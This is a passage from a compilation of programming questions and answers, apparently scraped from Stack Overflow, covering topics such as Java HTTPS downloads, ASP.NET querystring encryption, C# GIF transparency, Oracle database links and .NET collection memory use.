                  models.ManyToManyField(Question, through=FavouriteQuestion,
                                         related_name='favourited_by'))
```
```
There's been a bit of discussion on the django-developers mailing list about implementing a means of declaratively declaring denormalisations to avoid having to write code like the above:
Denormalisation, magic, and is it really that useful?
Denormalisation Magic, Round Two


q:
I have an associative array in the form key => value where key is a numerical value, however it is not a sequential numerical value. The key is actually an ID number and the value is a count. This is fine for most instances, however I want a function that gets the human-readable name of the array and uses that for the key, without changing the value.

I didn't see a function that does this, but I'm assuming I need to provide the old key and new key (both of which I have) and transform the array. Is there an efficient way of doing this?

[A]
You could use a second associative array that maps human readable names to the id's.  That would also provide a Many to 1 relationship.  Then do something like this:
```
```
echo 'Widgets: ' . $data[$humanreadbleMapping['Widgets']];
```
```


q:
I am trying to download an xml.gz file from a remote server with HttpsURLConnection in java, but I am getting an empty response.  Here is a sample of my code:

URL server = new URL("https://www.myurl.com/path/sample_file.xml.gz");
HttpsURLConnection connection = (HttpsURLConnection)server.openConnection();
connection.connect();

When I try to get an InputStream from the connection, it is empty. (If I try connection.getInputStream().read() I get -1)  The file I am expecting is approximately 50MB.

To test my sanity, I aslo tried entering the exact same url in my browser, and it did return the file I needed. Am I missing something?  Do I have to set some sort of parameter in the connection?  Any help/direction is much appreciated.

[A]
Is any exception being logged? Is the website presenting a self-signed SSL certificate, or one that is not signed by a CA? There are several reasons why it might work fine in your browser (the browser might have been told to accept self-signed certs from that domain) and not in your code.
What are the results of using
curl
or
wget
to fetch the URL?
The fact that the InputStream is empty / result from the InputStream.read() == -1 implies that there is nothing in the stream to read, meaning that the stream was not able to even be set up properly.
Update
:
See this page
for some info on how you can deal with invalid/self-signed certificates in your connection code. Or, if the site is presenting a certificate but it is invalid, you can import it into the keystore of the server to tell Java to trust the certificate.
See this page for more info
.


q:
Does anyone have any suggestions for a good approach to finding all the CPAN dependencies that might have arisen in a bespoke development project. As tends to be the case your local development environment rarely matches your live one and as you build more and more projects you tend to build up a local library of installed modules. These then lead to you not necessarily noticing that your latest project has a requirement on a non-core module. As there is generally a requirement to package the entire project up for deployment to another group (in our case our operations team), it is important to know what modules should be included in the package.

Does anyone have any insights into the problem.

Thanks

Peter

[A]
In the past I have used
Devel::Modlist
which is reasonably good allowing you to go
```
```
perl -d:Modlist script.pl
```
```
To get a list of the required modules.


q:
I need to encrypt and decrypt a querystring in ASP.NET.

The querystring might look something like this:

http://www.mysite.com/report.aspx?id=12345&year=2008

How do I go about encrypting the entire querystring so that it looks something like the following?

http://www.mysite.com/report.aspx?crypt=asldjfaf32as98df8a

And then, of course, how to I decrypt it? What's the best encryption to use for something like this? TripleDES?

[A]
I can't give you a turn key solution off the top of my head, but you should avoid TripleDES since it is
not as secure as other encryption methods
.
If I were doing it, I'd just take the entire URL (domain and querystring) as a
URI object
, encrypt it with one of the
built-in .NET libraries
and supply it as the
```
crypt
```
object. When I need to decrypt it, do so, then create a new URI object, which will let you get everything back out of the original querystring.


q:
I'm running SQL Server 2000 and I need to export the SQL Statement from all the DTS objects so that they can be parsed and put into a wiki documentation if needed.

Is there a way to do that?

maybe dumping each DTS object out into a text file with the object name as the file name with the name of the process and the date it was extracted as a file header.

thanks.

[A]
There is an API with an object model for the DTS packages.  You can get the SQL text through this.  The Books on Line docs describe this to some extent
Here.
You can get examples of the object model usage by
Saving the DTS package to a Visual BASIC file
and looking at what the VB file does to the object model.


q: Has anyone used jQuery to populate an autocomplete list on a textbox using ASP.NET webforms? If so, can anyone recommend a good method? From my reading so far, it seems like most people are using delimited lists rather than JSON to bring the items back. I'm open to any ideas that will get me up and running rather quickly.

[A]
There are many, many examples on the web. I've used this one before, and if I recall you only need to create an aspx that will return matching terms as a
```
<BR/>
```
separated list:
http://www.dyve.net/jquery/?autocomplete
The documentation shows php in the example, but there's no difference in the way the plugin itself works and I didn't have to do anything special as a result.
From the documentation:
```
```
> $("#input_box").autocomplete("my_autocomplete_backend.php");
```
```
In the above example, Autocomplete
  expects an input element with the id
  "input_box" to exist. When a user
  starts typing in the input box, the
  autocompleter will request
  my_autocomplete_backend.php with a GET
  parameter named q that contains the
  current value of the input box. Let's
  assume that the user has typed
  "foo"(without quotes). Autocomplete
  will then request
  my_autocomplete_backend.php?q=foo.
The backend should output possible
  values for the autocompleter, each on
  a single line. Output cannot contain
  the pipe symbol "|", since that is
  considered a separator (more on that
  later).
An appropiate simple output would be:
  foo
  fool
  foot
  footloose
  foo fighters
  food fight


q:
I have to create the sin function from scratch in my Comp Sci class, and I am getting close to a solution. However, I am still having a few problems. If I put in a value of .5PI or less it works, but otherwise I get the incorrect result. Here is the code I have so far:

double i=1;
double sinSoFar = 0;
int term = 1;
while(i >= .000001)
{
    i = pow(-1, term + 1) * pow(sinOf, 2*term-1) / factorial(2*term-1);
    sinSoFar=sinSoFar + i;
    term++;
}

[A]
Some advices:
Start with term = 0. The canonical MacLaurin expansion also does
compute the powers and the factorial
while you are cycling
(that is, updating them at each step). Maybe the problem is within pow() or factorial().
EDIT. Suggestion: once you have computed the k-th term, you can compute the (k+1)-th one by:
Multiplying by (-1)
Multiplying by sinOf^2
Dividing by (2k+2)(2k+3)
In this way you can completely
avoid
the computation of powers and factorials.


q:
I have seen some websites use the following tag:

<meta type="title" content="Title of the page" />

Is it needed when you have a <title>?

Also, what's the best formatting for a page title? Some ideas:

Page Description :: Company Name

Page Description - Company Name

Page Description <> Company Name

Company Name: Page Description

...

Does it matter to Google/Yahoo/etc? Do you include the company name or a general description of the site in the title on every page?

[A]
Search engines often ignore meta tags as in the past they where used for spamming purposes. The best tag for title is precisely
```
<title>
```
.
As the best formatting for the title there is no best recipe, but instead try to make the title as descriptive as possible of the real contents of the page.


q:
I've got a series of GIFs that I need to crop on the fly, I'm using a HTTP Handler in C# so I can better encapsulate the code - provide caching for the result etc.

Currently, when I draw the existing image to a new Image via the Graphics object all the transparency is lost.

I've tried various techniques to try and maintain the transparency, but to no avail.

Things I've tried:

Using the MakeTransparent (Color) method call

Using the ImageAttriutes with a combination of ColorMap and SetColorKey

I don't really want to start using unsafe operators or Win32 calls.

Any ideas?

[A]
When I have used transparency I've always used
```
Bitmap
```
. I.e.
```
```
System.Drawing.Image SourceImage = System.Drawing.Image.FromFile("the.gif");
System.Drawing.Bitmap NewImage = new System.Drawing.Bitmap(SourceImage);
// Do Processing
NewImage.MakeTransparent();
// Store changes
NewImage.Save(..., System.Drawing.Imaging.ImageFormat.Png);
```
```
Of course if you cannot move away from the
```
Graphics
```
object then that may not be of much use.


q:
I have a 4 side convex Polygon defined by 4 points in 2D, and I want to be able to generate random points inside it.

If it really simplifies the problem, I can limit the polygon to a parallelogram, but a more general answer is preferred.

Generating random points until one is inside the polygon wouldn't work because it's really unpredictable the time it takes.

[A]
A. If you can restrict your input to parallelogram, this is really simple:
Take two random numbers between 0 and 1. We'll call then
```
u
```
and
```
v
```
.
If your parallelogram is defined by the points ABCD such that AB, BC, CD and DA are the sides, then take your point as being:
```
```
p = A + (u * AB) + (v * AD)
```
```
Where
```
AB
```
is the vector from A to B and
```
AD
```
the vector from A to D.
B. Now, if you cannot, you can still use the barycentric coordinates. The barycentric coordinates correspond, for a quad, to 4 coordinates
```
(a,b,c,d)
```
such that
```
a+b+c+d=1
```
. Then, any point
```
P
```
within the quad can be described by a 4-uple such that:
```
```
P = a A + b B + c C + d D
```
```
In your case, you can draw 4 random numbers and normalize them so that they add up to 1. That will give you a point. Note that the distribution of points will NOT be uniform in that case.
C. You can also, as proposed elsewhere, decompose the quad into two triangles and use the half-parallelogram method (i.e., as the parallelogram but you add the condition
```
u+v=1
```
) or the barycentric coordinates for triangles. However, if you want uniform distribution, the probability of having a point in one of the triangle must be equal to the area of the triangle divided by the area of the quad.


q:
Can I call a stored procedure in Oracle via a database link?

The database link is functional so that syntax such as...

SELECT * FROM myTable@myRemoteDB

is functioning.  But is there a syntax for...

EXECUTE mySchema.myPackage.myProcedure('someParameter')@myRemoteDB

[A]
The syntax is
```
```
EXEC mySchema.myPackage.myProcedure@myRemoteDB( 'someParameter' );
```
```


q:
I'm currently working on a project where a section of the code looks like this:

Select Case oReader.Name
    Case "NameExample1"
        Me.Elements.NameExample1.Value = oReader.ReadString
        ' ...
    Case "NameExampleN"
        Me.Elements.NameExampleN.Value = oReader.ReadString
        ' ...
End Select

It continues on for a while. The code is obviously verbose and it feels like it could be improved. Is there any way to dynamically invoke a property in VB.NET such that something like this can be done:

Dim sReadString As String = oReader.ReadString
Me.Elements.InvokeProperty(sReadString).Value = sReadString

[A]
Others have answered perfectly reasonably, but just in case this is a performance-sensitive piece of code, you might want to compile the reflective calls into delegates.
I've got a
blog entry
about turning
MethodBase.Invoke
into delegates. The code is in C#, but the same technique can be applied to VB.NET as well. To use this with properties, get the appropriate "setter" method with
PropertyInfo.GetSetMethod
and then build a delegate which invokes that. You could have a map from field name to "delegate to call to set the field".
Just to reiterate, this is only really necessary if it's in a performance-critical piece of code. Otherwise, you might still want to create a
```
Dictionary<string, PropertyInfo>
```
to avoid calling
```
GetProperty
```
many times, but the step to convert it into a delegate probably isn't worth worrying about.


q:
So in a .NET app , i got about 2 million items that i need to hold them in memory for processing , 1 by 1, would holding these items in a Stack collection , is better than holding them in a List collection, assuming that the memory used by the stack object will be keep minimizing every time an item is poped out of the stack object , or the memory allocated by the stack will keep the same till the stack is set to null, or cleared.

sorry if i couldn't express the question in the right way.. but here is another way, when a Stack collection is used, does the memory used by the stack get minimized every time an item is pulled out of the stack.

Thanks in advance

[A]
They'll basically be the same for
```
Stack<T>
```
if you definitely want FILO behaviour - because when you remove an element from the end of a
```
List<T>
```
it doesn't need to copy anything.
Now if you were talking about a
```
Queue<T>
```
that would be different - removing from the
head
of a
```
List<T>
```
involves copying the rest of the items, which is inefficient.
The actual memory usage will be the same for either of them - I don't believe either
```
List<T>
```
or
```
Stack<T>
```
automatically "trim to size" when elements are removed.